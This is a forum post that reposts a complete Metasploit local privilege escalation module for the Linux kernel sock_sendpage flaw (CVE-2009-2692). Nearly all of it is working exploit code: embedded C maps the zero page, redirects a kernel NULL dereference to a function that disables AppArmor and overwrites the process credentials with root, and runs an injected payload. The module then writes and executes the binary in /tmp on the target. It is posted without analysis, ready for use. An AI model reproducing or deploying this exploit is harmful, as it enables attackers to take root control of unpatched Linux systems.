Jump to content
LLegoLLaS

Linux Kernel Sendpage Local Privilege Escalation

Recommended Posts

Code:


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix

def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
AKA Wunderbar Emporium
},
'License' => MSF_LICENSE,
'Author' =>
[
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
}
))
end

def exploit
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
;push eax
call exit
|

# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]

cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
/*
OpenBSD's strcmp from string/strcmp.c in bionic
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|)

[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end

print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc)

case target.arch.first
when ARCH_X86
print_status("syscall wrappers")
linux_x86_syscall_wrappers(sc)
main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
PF_BLUETOOTH,
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
printf("Unable to obtain symbol listing!\n");
return 0;
}
}

ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf(" [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}

fclose(f);
return 0;
}


static void
change_cred(void)
{
unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}

task_struct++;
}

return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

got_ring0 = 1;
if (apparmor_enabled && *apparmor_enabled) {
*apparmor_enabled = 0;
}
change_cred();
return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
int i = 0;
int d;
int in_fd, out_fd;
char *mapped;
char template[] = "/tmp/sendfile.XXXXXX";
int (*func)();

uid = getuid(), gid = getgid();

mapped = mmap(NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
if (mapped == NULL) {
printf("Mapped zero page!\n");
} else {
exit(1);
}

// jmp dword near [dword 0x8]
mapped[0] = '\xff';
mapped[1] = '\x25';
*(unsigned long *)&mapped[2] = 8;
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

for (i = 0; i < 16; i++) {
printf("\\\\x%02x", (unsigned char)mapped[i]);
}
printf("\n");

for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//printf("Next domain ... ");
out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) {
printf("Got domain[%d]\n", d);
break;
}
if (out_fd < 0) {
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
exit(1);
}
}
unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777);
printf("Opened temp file: %d\n", in_fd);
unlink(template);
printf("Calling ftruncate\n");
ftruncate(in_fd, 4096);

printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
sendfile(out_fd, in_fd, NULL, 4096);
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
printf("UID: %d GID: %d\n", getuid(), getgid());

func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h>
printf("Copying %d bytes of shellcode\n", shellcode_size);
for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i];
}
printf("Calling shellcode: 0x%p\n", func);
//sigtrap();
func();

return got_ring0;
}
^
main.gsub!(/shellcode =/) do
# split the payload into 16-byte chunks and dump it out as a
# hex-escaped C string
%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")

asm = cpu.new_ccompiler(cparser, sc).compile

sc.parse asm
end

sc.assemble

begin
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end

#puts Rex::Text.to_hex_dump(foo)
File.open("payload.bin", "wb") {|fd|
fd.write elf
}
print_status "Writing exploit executable (#{elf.length} bytes)"
cmd_exec("rm /tmp/sendpage")
write_file("/tmp/sendpage", elf)
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output.each_line { |line| print_debug line.chomp }
#cmd_exec("rm /tmp/sendpage")

end

end

sursa: bugsearch.net

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...